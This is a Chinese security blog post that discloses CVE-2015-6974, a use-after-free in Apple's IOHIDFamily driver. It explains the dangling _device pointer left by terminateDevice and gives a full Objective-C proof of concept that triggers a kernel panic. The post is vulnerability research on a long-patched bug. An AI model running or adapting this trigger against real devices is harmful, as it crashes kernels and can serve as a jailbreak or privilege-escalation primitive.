先看来看苹果官方的描述
这个洞,我在今年8月份的时候挖到了它,但当时并有报给苹果。后来玩去了,以为iOS9.0就修复了,有人报了,所以也没有去报了,居然也没有去验证。最近闲下来,给苹果发邮件,想知道CVE编号,苹果说是CVE-2015-6974,才知道原来是9.1才修复。
问题出在苹果的IOHIDFamily这个驱动的代码里面,这个驱动苹果是开放了源码的。在iOS里面,这个驱动提供了三个面向用户态client:
每个client会提供一些面向用户态的接口函数。苹果有很多CVE都和这个驱动有关,这也是当时去做这个模块的fuzz的原因。好像说多了废话,来看漏洞:
在IOHIDResourceUserClient的第1号函数:
#!c IOReturn IOHIDResourceDeviceUserClient::terminateDevice() { if (_device) { _device->terminate(); } OSSafeRelease(_device); return kIOReturnSuccess; }
_device
是创建的一个虚拟的IOHIDDevice设备的指针,是IOHIDResourceDeviceUserClient的一个成员变量:
class IOHIDResourceDeviceUserClient : public IOUserClient { OSDeclareDefaultStructors(IOHIDResourceDeviceUserClient); private: IOHIDResource * _owner; OSDictionary * _properties; IOHIDUserDevice * _device;
由IOHIDResourceDeviceUserClient的第0号函数 IOHIDResourceUserClient::creatDevice()创建。这个函数会对传入的参数做一些检查,然后调用createAndStartDevice()为 _device
分配空间:
#!c IOReturn IOHIDResourceDeviceUserClient::createAndStartDevice() { … _device = IOHIDUserDevice::withProperties(_properties); … }
OK,再看terminateDevice()里的那句:
OSSafeRelease(_device)
不得不说是有问题的。OSSafeRelease的源码是这样子:
define OSSafeRelease(inst) do { if (inst) (inst)->release(); } while (0)
release之后,并没有把对象的指针置为NULL。所以, _device
被释放之后, _device
还保留着原来的对象的指针,指向了一片free掉的堆块。再去调用IOHIDResourceDeviceUserClient的第三号函数:handleReport()。里面会调用 _device
的成员方法:
IOReturn IOHIDResourceDeviceUserClient::handleReport(IOExternalMethodArguments * arguments) { … ret = _device->handleReportWithTimeAsync(timestamp, report, kIOHIDReportTypeInput, 0, 0, &tap);//这里调用了_device的成员方法。 report->release(); if (ret != kIOReturnSuccess) { IOFree(pb, sizeof(*pb)); release(); } } return ret; }
这就妥妥地USE-AFTER-FREE了。
于是就有了触发思路:
当时fuzz这个模块的时候,开了4个线程,每个线程去跑一个用户态方法,很快就有panic。这里给出一份PoC:
#!objc #import <Foundation/Foundation.h> #import <IOKit/IOTypes.h> #import <IOKit/IOKitLib.h> #import <UIKit/UIKit.h> #import <IOKit/IOCFSerialize.h> #import <IOKit/IOKitKeys.h> static UInt8 gTelephonyButtonsDesc[] = { 0x05, 0x0B, // Usage Page (Telephony Device) 0x09, 0x01, // Usage 1 (0x1) 0xA1, 0x01, // Collection (Application) 0x05, 0x0B, // Usage Page (Telephony Device) 0x09, 0x21, // Usage 33 (0x21) 0x09, 0xB0, // Usage 176 (0xb0) 0x09, 0xB1, // Usage 177 (0xb1) 0x09, 0xB2, // Usage 178 (0xb2) 0x15, 0x00, // Logical Minimum......... (0) 0x25, 0x01, // Logical Maximum......... (1) 0x75, 0x01, // Report Size............. (1) 0x95, 0x0D, // Report Count............ (13) 0x81, 0x02, // Input...................(Data, Variable, Absolute) 0x75, 0x03, // Report Size............. (3) 0x95, 0x01, // Report Count............ (1) 0x81, 0x01, // Input...................(Constant) 0xC0, // End Collection }; @interface IOHIDResourceDeviceUserClientBug : NSObject{ io_connect_t connect; } -(void)gogogo; -(void)deviceCreateData:(void **)buffer andSize:(vm_size_t *)buffersize; -(void)connectClient; -(void)createDevice; -(void)terminateDevice; @end @implementation IOHIDResourceDeviceUserClientBug -(void)gogogo{ //trigger the vulnerable code NSLog(@"!!!!!"); sleep(1); [self connectClient]; [self createDevice]; [self terminateDevice]; [self terminateDevice]; //trigger! } -(void)deviceCreateData:(void **)buffer andSize:(vm_size_t *)bufferSize{ vm_size_t descriptorLength = sizeof(gTelephonyButtonsDesc); void *descriptor = (void *)malloc(descriptorLength); bcopy(gTelephonyButtonsDesc, descriptor, descriptorLength); CFMutableDictionaryRef properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); CFDataRef descriptorData = NULL; CFNumberRef timeoutNumber = NULL; CFNumberRef intervalNumber = NULL; uint32_t value = 5000000; uint32_t reportinterval = 5000; descriptorData = CFDataCreate(kCFAllocatorDefault, descriptor, descriptorLength); timeoutNumber = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &value); intervalNumber = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &reportinterval); CFDictionarySetValue(properties,CFSTR("ReportDescriptor"),descriptorData); CFDictionarySetValue(properties,CFSTR("RequestTimeout"),timeoutNumber); CFDictionarySetValue(properties,CFSTR("ReportInterval"),intervalNumber); CFDataRef data = IOCFSerialize(properties,0); *buffer = (UInt8 *)CFDataGetBytePtr(data); *bufferSize = CFDataGetLength(data); } -(void)connectClient{ CFDictionaryRef matchDict = NULL; io_service_t service = 0; kern_return_t kr; matchDict = IOServiceMatching("IOHIDResource"); service = IOServiceGetMatchingService(kIOMasterPortDefault, matchDict); kr = IOServiceOpen(service, mach_task_self(), 0, &connect); } -(kern_return_t)createDevice{ kern_return_t kr; uint64_t *scalarInput; uint32_t scalarInputCount = 0; void *structureInput; size_t structureInputSize = 0; uint64_t *scalarOutput; uint32_t scalarOutputCount = 0; void *structureOutput; size_t structureOutputSize = 0; scalarInput = (uint64_t)malloc(1*sizeof(uint64_t)); scalarInput[0] = 0; [self deviceCreateData:&structureInput andSize:(vm_size_t)&(structureInputSize)]; kr = IOConnectCallMethod(connect, 0, scalarInput, scalarInputCount, structureInput, structureInputSize, scalarOutput, &scalarOutputCount, structureOutput, &structureOutputSize); if(kr!=0){ NSLog(@"device create failed %x",kr); } else NSLog(@"create device success"); return kr; } -(void)terminateDevice{ kern_return_t kr; uint64_t *scalarInput; uint32_t scalarInputCount = 0; void *structureInput; size_t structureInputSize = 0; uint64_t *scalarOutput; uint32_t scalarOutputCount = 0; void *structureOutput; size_t structureOutputSize = 0; kr = IOConnectCallMethod(connect, 1, scalarInput, scalarInputCount, structureInput, structureInputSize, scalarOutput, &scalarOutputCount, structureOutput, &structureOutputSize); return kr; } @end int main(){ IOHIDResourceDeviceUserClientBug *trigger = [[IOHIDResourceDeviceUserClientBug alloc] init]; [trigger gogogo]; return 0; }
只是创建设备的时候麻烦点,要构造好参数,才能绕过创建设备前的那些检查。首先是IOConnectCallMethod那几个长度参数的检查,再就是structureInput得是特定的xml格式的数据。而且键值 ReportDescriptor
要构造好。具体都在poc里面。
后来发现 盘古 POC 2015会议上的分享就是讲的这个洞。没想到是iOS9.0越狱就用了这个洞,感到万分惊奇。莫名觉得好爽。